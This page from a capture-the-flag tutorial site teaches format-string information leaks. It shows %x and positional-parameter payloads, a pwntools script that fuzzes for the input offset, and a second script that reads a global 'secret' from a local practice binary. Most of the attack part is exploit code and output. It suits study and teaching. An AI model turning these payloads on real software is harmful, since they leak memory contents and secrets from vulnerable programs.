🏳️
The CTF Recipes
  • Introduction
  • Cryptography
    • Introduction
    • General knowledge
      • Encoding
        • Character encoding
          • ASCII
          • Unicode
          • UTF-8
        • Data encoding
          • Base16
          • Base32
          • Base64
      • Maths
        • Modular arithmetic
          • Greatest Common Divisor
          • Fermat's little theorem
          • Quadratic residues
          • Tonelli-Shanks
          • Chinese Remainder Theorem
          • Modular binomial
      • Padding
        • PKCS#7
    • Misc
      • XOR
    • Mono-alphabetic substitution
      • Index of coincidence
      • frequency analysis
      • Well known algorithms
        • 🔴Scytale
        • 🔴ROT
        • 🔴Polybe
        • 🔴Vigenere
        • 🔴Pigpen cipher
        • 🔴Affine cipher
    • Symmetric Cryptography
      • AES
        • Block Encryption procedure
          • Byte Substitution
          • Shift Row
          • Mix Column
          • Add Key
          • Key Expansion / Key Schedule
        • Mode of Operation
          • ECB
            • Block shuffling
              • Challenge example
            • ECB Oracle
              • Challenge example
          • CBC
            • Bit flipping
              • Challenge example
            • Padding oracle
              • Challenge example
          • OFB
            • Key stream reconstruction
            • Encrypt to Uncrypt
  • 🛠️Pwn
    • General knowledge
      • STACK
        • Variables storage
        • Stack frame
      • PLT and GOT
      • HEAP
        • HEAP operations
        • Chunk
        • Bins
        • Chunk allocation and reallocation
      • Syscall
    • Architectures
      • aarch32
        • Registers
        • Instruction set
        • Calling convention
      • aarch64
        • Registers
        • Instruction set
        • Calling convention
      • mips32
        • Registers
        • Instruction set
        • Calling convention
      • mips64
        • Registers
        • Instruction set
        • Calling convention
      • x86 / x64
        • Registers
        • Instruction set
        • Calling convention
    • Stack exploitation
      • Stack Buffer Overflow
        • Dangerous functions
          • gets
          • memcpy
          • sprintf
          • strcat
          • strcpy
        • Basics
          • Challenge example
        • Instruction pointer Overwrite
          • Challenge example
        • De Bruijn Sequences
        • Stack reading
          • Challenge example
      • Format string
        • Dangerous functions
          • printf
          • fprintf
        • Placeholder
        • Data Leak
          • Challenge example
        • Data modification
          • Challenge example
      • Arbitrary code execution
        • Shellcode
        • ret2reg
        • Code reuse attack
          • Ret2plt
          • Ret2dlresolve
          • GOT Overwrite
          • Ret2LibC
          • Leaking LibC
          • Ret2csu
          • Return Oriented Programming - ROP
          • Sigreturn Oriented Programming - SROP
          • Blind Return Oriented Programming - BROP
            • Challenge example
          • 🔴Call Oriented Programming - COP
          • 🔴Jump Oriented Programming - JOP
          • One gadget
        • Stack pivoting
    • 🛠️Heap exploitation
      • Heap overflow
        • Challenge example
      • Use after free
        • Challenge example
      • 🛠️Double free
      • 🔴Unlink exploit
    • Protections
      • Stack Canaries
      • No eXecute
      • PIE
      • ASLR
      • RELRO
    • Integer overflow
Powered by GitBook
On this page
  • Reading values
  • Offsets
  • Arbitrary data read
  • Retrieving user input offset
  • Read arbitrary value
  1. Pwn
  2. Stack exploitation
  3. Format string

Data Leak

PreviousPlaceholderNextChallenge example

Last updated 2 years ago

Using format string exploitation is possible to read arbitrary value into the stack.

Reading values

As explained , if there is more placeholders than arguments when calling the printf function, it will use the next values into the stack as arguments.

$ ./chall
Enter the password: %x.%x.%x.%x.%x
permission denied using password :
ffd98b6c.f.9c2e1a0.f7f3b000.f7f77230

It's possible to use any to leak as needed type, for example with the %d :

$ ./chall
Enter the password: %d.%d.%d.%d.%d
permission denied using password :
-2766116.15.154689952.-134955008.-134708688

Offsets

In most of binaries, the user input has a length limitation, so how to do if the needed value is the 5th stack value and the input limit is 2 ?

$ ./chall
Enter the password: %5$x
permission denied using password :
f7f77230

Arbitrary data read

When the %s placeholder is used, the formatted parameter need to be a pointer to the string value. So it's possible to inject an arbitrary pointer address into the user input and then read this value as previously show.

Thus, the payload must be [targeted address]%[offset]$s

Retrieving user input offset

To retrieve the user input offset, send 4 well known bytes such as "0x41414141" (which is 4 'A') followed by the format string "%1$x" and increase the value till retrieve the 4 bytes.

This technique is commonly call "Fuzzing"

Here is a python script to do that :

from pwn import *

# Iterate over a range of integers 
for i in range(10):
    # Construct a payload that includes the current integer as offset
    payload = f"AAAA%{i}$x".encode()

    # Start a new process of the "chall" binary
    p = process("./chall")

    # Send the payload to the process
    p.sendline(payload)

    # Read and store the output of the process
    output = p.clean()

    # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
    if b"41414141" in output:
        # If the string is found, log the success message and break out of the loop
        log.success(f"User input is at offset : {i}")
        break

    # Close the process
    p.close()
$ python3 test.py
[+] User input is at offset : 7

Read arbitrary value

For this example let's assume that there is a global declared variable called "secret" and PIE isn't set.

The first condition to read an arbitrary value is to know its address. In the example, the target is a global variable and as a global variable, it's within the binary itself. The location can be using readelf to check for symbols.

$ readelf -s chall | grep secret
    57: 0804c02c    16 OBJECT  GLOBAL DEFAULT   23 secret

Thus, the payload must be [targeted address]%[offset]$s --> \x2c\xc0\x04\x08$7$s

Here is a python script to do that :

from pwn import *

# Start a new process of the "chall" binary
p = process('./chall')

# Convert the address 0x0804c02c to a packed 32-bit integer
addr = p32(0x0804c02c)

# Construct the payload by concatenating the packed integer and the string "%7$s"
payload = addr + b"%7$s"

# Send the payload to the process
p.sendline(payload)

# Read and log the output of the process
log.success(p.clean())

# Close the process
p.close()
$ python3 exploit.py
[+] b'Enter password: Permission denied using password :\n,\xc0\x04\x08SecretPassword!\n'

Using the allows to choose the argument to be printed.

🛠️
here
type specifier
parameter field